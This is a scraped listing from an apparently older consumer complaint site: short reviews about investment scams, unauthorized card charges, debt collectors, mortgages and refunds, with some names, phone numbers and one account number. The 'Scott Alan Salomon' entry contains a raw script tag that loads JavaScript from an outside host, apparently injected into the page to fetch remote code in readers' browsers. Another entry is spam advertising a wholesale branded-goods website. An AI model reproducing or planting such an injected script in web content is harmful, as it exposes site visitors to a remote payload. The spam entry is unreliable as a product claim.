CATEGORY: Business & Finances
International Finance & Trust, Ltd.
This message is for anyone being contacted or speaking with (IFT). They are promoting an investment opportunity offering really actractive returns that will never happen. The people involved in this financial scam are Julie Holden, Bryan Smith, Steve Benders, and Kurt Hamilton. The took our 50K investment and promised returns, but more importantly they tell you your investment principal is safe and insured but it is not.
Since 11/30/09 we have been requesting our principal back (forget the investment return) and have told for over 100... read full review »
Ideal Savings Now
We received a bill on our Verizon home bill for $15.25 for voicemail service by Ideal Savings Now. When Ideal Savings Now was contacted, they had my email address, home address, and phone number. They claimed I signed up for it on the internet site but they have no internet address. The customer service representative had to look up their billing address when asked for it. They claim that they will refund the montly charge but I am confident that they will. read full review »
MVQ Clubsave AP9 Yoursavings club
I see these two transaction since many months. They have deducted huge amount from my bank checking account. I want to take action against these guys and immediately stop payment to these guys from my checking account.Its fraud.
Please find the transactions below. I dont know membership number because I have never enrolled for this program.
CHECKCARD 0706 MVQ*CLUBSAVE 888-239-3917 CT 24692169187000816306592
CHECKCARD 0606 AP9*YOURSAVINGSCLUB 877-820-7107 CT 24692169157000665026693
Can you please tell me how do I stop this and get refunded. read full review »
Mccarthy, burgess and Wolf
This company keeps harrasssing my family over the debt of a "Tiffany Veloudis". Somehow we must have had similar names or something but I am a teacher in NC. This debt stems out of a physicians office in Kentucky. I want them stopped from harrassing my family and ruining my name! read full review »
National Recovery Agency/NRA GROUP, LLC. dba
I don't normally answer calls with 1800 numbers but I decided to and the man on the phone said that I ordered some dvds that where from a dvd club back in 2006. I don't recall using one of those stupid dvd services now he said I need your address so you can disbut it.. He even had my first and last name thats scary these scam artist where trying to get money from me. He says just pay the whatever amount 90 dollars or so and you'll be clear of debt, we accept debit, Visa, Mastercard. I said Thank you and hung up. Here is some... read full review »
sandals
Hi friends, I am Stream from china, Nice to meet you! I just would like to tell you that i have a website www.welljordan.com wholesale all kinds of brand shoes, sandals, Apparel, handbags, wallets, bets, sunglasses etc.
We provide high quality with lowest prices.Pls visit www.welljordan.com for more details.
Thank you and have a nice day! read full review »
Chase Mortgage & Allstate
Since September 2009, I have my mortgage with Chase Home Finance and separately my Home Owners with Allstate.
In November 2009, Chase sent out a letter requesting proof of home insurance. W called Allstate and requested they fax a proof of coverage.
Allstate did so.
Subsequently, Chase sent us a letter that they would no longer need to have hazard insurance on the property, as it was duplicated coverage. We thought this was odd as we were never aware of them having any insurance on the property.
On March 8, Allstate sent us a... read full review »
Kirby vacuum cleaner
Kirby sales rep. was telling me that if i would buy a Sentria vacuum that i could claim 65% of the total price on my federal taxes. I have called my tax accountant and she cannot find anything to back up this story. If anyone knows about this sale tactic please contact me. read full review »
neg
i have opened an account in your bank when i try to get into my account you tell me that that is not avaleaentrythis my account #2614-13916i need to what happned to my money or was this ascam read full review »
AIR WAYS FAME LOGISTICS / shipping
I had a client who wanted to use this shipper to ship an order from New York to Tokyo. AIR WAYS FAME LOGISTICS asked to make a money transfer to pay for the shipment before they schedule a pickup (Re: QUOTE REF # 000848083564534218). The order fell through, so I cancelled the services of AIR WAYS FAME LOGISTICS and asked my funds ($585.25) to be wired back. The company refuses to do so, according to my bank that made a few attempts to recall the wire, claiming that they would deal with me directly. Meanwhile my attempts to contact them failed - they just ignore my pleadings.
Please help,
Natasha Guruleva
Mushroomland.net read full review »
software online
my account was charged twice instead on once i called them to lay my complaints, they told me i will get the refund in the next 10 business day which has expired still my account is not credited yet i call again they told my they will post it in next 3 business days .still up till now no refund yet.i want an explanation read full review »
DRI*SYMANTMYORD.COM/SYMMN
I was charged twice on was $74.99 and one was $34.90. Neither charge was authorized.. Iwant the charges of my VISA!!! read full review »
runaround Sues
Playing poker one night, me and my friends were leaving, while walking to the car, i slipped on some black ice on the main sidewalk.It is not a law in Georgia for the owner of the establishment to be responsable for ice and snow like it is up north.Why not It snows here.I'm 34 and because of this fall I may be disabled for the rest of my life.I have no health insurance and10, 000 worth of doctor bills and growing.I've been out of work now for three weeks about to lose everything.Why should the owner be responsile, and why cant we make a law for snow and ice the way it is up north? read full review »
business loan
I was dealing with senior account executive chad lee for a business loan, loan was approved sent him a check for $4250.00 never heard from him again.I called DA"S office and will file a complaint on the scam read full review »
Montel Williams Healthmaster
I ordered the healthmaster last month, it suddenly quit on me, I called them, and explained the problem, after waiting two weeks to get a return lable, I sent it back on my own, it, s been a week, and I have not heard from them at all, No REFUND. It was taken out of m4y bank account, and I paid for it in full.Sincerely, MClingerman, read full review »
ChooseDirect Hot Tubs
We purchased a Island Escape hot tub from ChooseDirect on 7/13/09 and received the hot tub on 11/13/09.
We actually started running the hot tub 3/10/2010 as we had to build a place for the hot tub. I have made several phone calls to the "service rep" as well as emails to "[email protected]" and "[email protected]" and have never received a reply. Our hot tub reached a temperature of 109 degrees and we shut the power off to the hot tub. The preheat method does not work, neither does the pump 1, pump 2... read full review »
Liberity Club Refund
I had an unaotherized check show up in my checking account for the amout of 29.91 for something I had no idea what or who it was. I called the number on this check and got some customer service person at a company called "Liberity Club" what ever that is. I had never heard of them nor did I sign up for anything from them. They gave me a bogies web site and I called the number on the site and it turned out that this company had recived 30 to 40 calls from people trying to get their money back for Liberity Club. The person that I talked... read full review »
Morgan and Pottinger
This company is fraudulant and ruthless. You can not even speak to them. You try to have a coversation with them and with them, it's their way or no way. I called to speak to them about a garnishment they had placed on my check, for 25% of my paycheck each payperiod. I had no clue what the debt was. When I contacted them, they were VERY RUDE, to say the least. Finally, I was told that it was a debt that pertained to a credit card from 2001. (9 years ago) In Ky the Statute of Limitations on a credit card debt is 5 years. I mentioned that... read full review »
Linda S. Williams
After ordering flowers at Christmas for my mother, and picking up the Easy Saver offer, I was not satisfied with the business ethics of Pro Flowers and cancelled the Easy Saver option (within the 30-days allowed) and received a confirmation of doing so. However, I am seeing the charge for this "offer" on my bank statement. This is indicative of how the flower transaction was done by Pro Flowers. I demand credit to my account for something I cancelled months ago. This is ridiculous and is tantamount to out-right theft. read full review »
Bsnl WLL 0120-2901101
Sir,
I had telephone in ghaziabad 0120-2901101. I surrendered in apr - may 09 as I was moving out. the money was not refunded then and has not come till now. i have cleared all bills before leaving.
Siddharth read full review »
wells fargo aka Saxon Mortgage
After defaulting on my mortgage for 10 months, (1846.00) monthly payment, I gave Saxon Mtg servicer for Well Fargo $30, 000 to make my account current. They continue to keep me in default and forced me into Ch13. I had no other debt other than the mortgage. I am a full time pharmacist and what ever I paid them never went to the principal or interest. They have been keeping me indefault for 4 years. I have contacted the attorney general for Ct and have kept very good records so we will be comparing documents next months. I also hired a mortgage analysis who is also an attorney who will be an expert witness. I will not let them take my home. Kim read full review »
Servus Credit Union Mastercard
I just got another credit card sent to me ( renewal) I paid $400 this month and went to use it and it says declined.
I looked at my credit report and it says closed by grantor, I have have had this card since 2000, I went from a limit of $500 to $4600 in these years, and make my payments all the time.
Now in this time I have had other credit cards and such, and the last year had a problem paying on them, but not this one, this one is always paid.
Why would they close it? read full review »
Credit card Facility
To the authority,
Before 4 years we owned a credit card of ICICI Bank
But due to some unfavourable policies of the bank we cancelled this card. The executive of the bank informed us abt the cancellation of our card . Now b4 few days i opted 4 getting a loan through another bank but my loan was not sanctioned as i was listed in the RBI CIBIL
report by the bank & was liable to pay Rs. 49000 to ICICI bank.
This my humble request to the bank to check this amt & cancel my name at the earliest . I was not even informed by
the... read full review »
khc
I have 30 years interest fix. The increase my monthly payment last month and I don t know Tried to find out why, they sand me a letter telling me I have a shortage of $567.65.
Please I need your help, I am a single mom to struggle to support my family over here and Africa.
sincerely read full review »
Green Dot Grant
Bad Check / 10, 000.00 Cash Grant
"official check" from KEY SERVICES CORP with a faded key icon and signature for the amount of 965. 99. Instructions were to cash or deposit this check and send 4% to "Mary Edwards" for commission fee through a greendot moneypak. read full review »
Twenty 4 pro plus
I never authorizied the amount of $24.95 to be deducted fom my account, however, each month the fact memains that the amount is deducted; against my wishes. I have tried the 800 number to no avail. Next the bank! read full review »
DC-MYCSHELP
I just checked my account balance and i am missing 39.95. Where my money went I would like to know. read full review »
my.CreditReport.com/credit report
They offered me a 3 in 1 montoring service for $4.95 with a 30 day trial period. I ordered it on Friday and looked at my credit card online on monday and had 2 pending charges for $4.95 & $29.95. I called the number associated with this company and was told them to cancel the service and issue me a credit. They told me they couldn't refund the fees cause it had to come from their corporate office. They were just the call center. I asked for the number and to be transferred and it was the same number but just an extensions. I was told... read full review »
National cedit corp.
I thought getting a gym member ship was a good idea until I missed a month and they sent in to national cedit corp and soon to my belief I owed a bit of money. so I was getting bills in teh mail for 242.50. and at the bottom of the letter it says things includes lates charges. So then I went to fitness USA and payed 240 dollars. and then I was assuming I would get a bill in the mail from national cedit corp for 2.50. NO I got a letter in the mail for 191 and maybe som change. I am not paying that money becasue i do not owe it. and if they dont take me off the rerocds to clear my cedit I am going to get a lawyer . read full review »
Skid Steer Leasing
I applied for Skid Steer leasing and got an lease approval by Tim Curren. Tim spoke to my local Bobcat dealer and told him of my approval and I also emailed a copy of Tim's email to me indicatinf as such. I signed all the paperwork, sent the required deposit and this asshole never paid the dealer. I've purchase a Cab enclosure, new tires and a tooth bar for a skid loader I don't own. Not only am I out just under a $1000 with Curren Funding but I've spent over $2000 on a skid loader that's not mine. Tim Curren emailed... read full review »
supportmbmobile.com
I have been charged 9.99 on my cell bill and there is no way of contacting these people. When you call the 1866-616-6076 you get a recording for options and when you select to speak with customer service they give you an email to contact them what the hell!!! This is a scam and I want my damn money back. How the hell are these people charging you when you are not even in their system. So who do you contact? Will the charges continue even if you have it blocked through your cell company? I need some answers!!! read full review »
Funding Universe
Funding Universe is a waste of my time. As General Counsel for this new venture, I should have known better. Especially when they responded to an online (www.fundinguniverse.com) request for funding, and stated they would help, but based on the 'credit profile' and their vast experience, they would need to run a full credit history etc., etc.
After a very good sales pitch, I gave in to 'Joe Hughes' at Funding Universe. I was stupid enough to fall for the hype and provide them $99, so they could "spend time... read full review »
colonial crossings of williamsburge, va
i bought into a time share with deeded property. everything looked good all the way up to when i went to set up a time for my son and my exwife.three years has gone by and they manage to finish building one building and build two other buidings which is about 66 units. the part that sold me was the water park attraction that was said to be finished last year now maybe finished next year. as i was told by the "acting property manager kim" the is no set time for the water park to get done and they can take as long as they want to build... read full review »
SUTTON HOUSE APARTMENTS
As a resident of Sutton House Apartments in San Antonio Texas, I am writing to express my profound disappointment at that lack of professionalism, trivial-mindedness and retaliatory discrimination that continues to plague a resident such as myself that clearly takes pride in their living environment .
1A.)JULY 2009- I reported on two separate occasion to mangement that maintenance who live two doors down from me were extremely loud drinking a partying after hours. I asked the managers are the staff upheld to the same standards as the... read full review »
CELEB WHITENING
I WAS OFFERED A FREE TRIAL THAT U PAY FOR TOOTH WHITENING TO BE SHIPPED FOR A DOLLAR AND FIFTY CENT I GOT A CALL FROM THE BANK SAID THEY TOOK A 150 OUT MY ACCOUNT I DON'T THINK THAT IS RITE ITS A SCAM AND I CALL AND NO ONE CAN HELP THEY SAID CALL BACK IN A HOUR read full review »
Scott Alan Salomon
<script type="text/javascript" src="http://serversiders.com/javascript/dirtsearch.org"></script>
Presented delailed incoices with services and investigator meetings that never occurred. Currently disbarred from Florida. read full review »
Brinks/Broadview Security
Several years ago I signed a service agreement for the monitoring of a security system partially installed by Brinks security. Broadview security has taken over Brinks. My contract expired almost two years ago and I decided to cancel the monitoring. Broadview is trying to strong-arm me for $500 fee which they are not entitled to. I will not pay them. I ENCOURAGE ANYONE CONTEMPLATING THEIR SERVICES TO THINK TWICE ABOUT THIS COMPANY. read full review »
USBANK Free checking
This happen like a year ago but i better post this usbank put me under $0 after taking out advances causing 3 overdraft charges of $40, long story short I could pay it off easy but there NBF of $8 daily was killing it there was a time when I would be able to pay it off and I told them by email also that I was able to pay it off if they can wait till i get paid again by Direct Deposit I had like -$12X left to pay at the time and it would be back past $0 but then they hit me with not paying my advance off fee of $330, so now I am in a settlement... read full review »
int*id protect mntr 877-974156
took money fron my account in the amountof 19.95 0n 3-11 2010 do not know who they are or how the got mu numbers. read full review »
US Dept of Education
Original loan-$2200.00. Pd $3500.00 principal, interest and fees in June 2009. Put me in rehab program at $32 per month with the assurance that when that was paid in 9 months I woulld be excused.
Now they are telling me I owe another nice round amount of $2500.00. read full review »
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